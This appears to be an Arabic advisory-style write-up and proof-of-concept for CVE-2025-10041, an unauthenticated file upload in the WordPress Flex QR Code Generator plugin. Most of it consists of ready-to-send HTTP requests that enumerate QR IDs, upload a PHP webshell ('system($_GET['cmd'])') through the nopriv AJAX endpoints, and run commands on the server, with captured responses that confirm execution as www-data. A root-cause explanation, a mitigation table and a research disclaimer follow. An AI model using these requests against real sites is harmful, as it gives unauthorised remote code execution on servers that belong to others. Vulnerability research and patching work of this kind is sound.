
تحليل تقني واستغلال إثبات المفهوم لـ CVE-2025-10041، وهو رفع ملفات تعسفي غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في إضافة WordPress Flex QR Code Generator.
الحصول على ID بدون تصريح ← استدعاء واجهة التحديث لرفع ملف PHP ← الوصول إلى webshell ← RCE
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
per_page=50&page=1
يمكن الحصول على id صالح (مثل 9) ومسار logo_url من الاستجابة.
{
"success": true,
"data": {
"qrCodes": [{
"id": "9",
"qr_name": null,
"text": "",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
"created_at": "2025-10-16 11:16:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
},
{
"id": "8",
"qr_name": null,
"text": "https:\/\/example.com",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"data\":\"https:\/\/example.com\"}",
"created_at": "2025-10-16 11:01:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
}], "totalItems": "9"
}
}
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream
AiErBuDe
------WebKitFormBoundaryABC123--
✅ استجابة success: true تعني نجاح الرفع.
{
"success": true,
"data": {
"message": "QR code updated successfully.",
"id": 9,
"finalUrl": "https:\/\/example.com"
}
}
صيغة مسار الملف: {original_name}_{id}.php
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
يعيد الخادم محتوى الملف
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8
AiErBuDe
الوصول غير المصرح به إلى الواجهة لرفع ملف خبيث ← الوصول إلى webshell ← RCE
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
يمكن الحصول على id صالح (مثل 10) ونتيجة success من الاستجابة
{
"success": true,
"data": {
"message": "QR code saved successfully.",
"id": 10,
"finalUrl": ""
}
}
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
✅ يعيد الخادم نتيجة تنفيذ الأمر، ونجح RCE.
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54
uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)
flex-qr-code-generator/qr-code-generator.phpsave_qr_code_to_db() و update_qr_code()$_FILES['logo']['error'] === UPLOAD_ERR_OK{original_name}_{id}.ext، وid هو مفتاح أساسي تلقائي الزيادةمسجلة عبر خطافات wp_ajax_nopriv_، ويمكن الوصول إلى الواجهة من قبل مستخدمين غير مسجلين:
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
noprivتعني "بدون متطلبات صلاحيات"، ويمكن للمهاجم استدعاءها دون تسجيل الدخول.
| الإجراء | الوصف |
|---|---|
| ✅ التحكم في الصلاحيات | إزالة خطافات nopriv، والسماح للمسؤولين فقط بالاستدعاء |
| ✅ التحقق من نوع الملف | قائمة بيضاء لتقييد الامتدادات (مثل jpg/png/gif) |
| ✅ منع تنفيذ PHP | منع تنفيذ PHP في ملف uploads/.htaccess |
| ✅ إعادة تسمية الملفات | استخدام أسماء ملفات عشوائية لتجنب التخمين |
| ✅ ترقية الإضافة | متابعة التحديثات الرسمية والترقية في الوقت المناسب |
هذا المقال لأغراض البحث الأمني والتعليم فقط، ويُحظر إجراء اختبارات الاختراق أو الهجمات غير المصرح بها. يجب على المستخدمين الالتزام بالقوانين واللوائح ذات الصلة.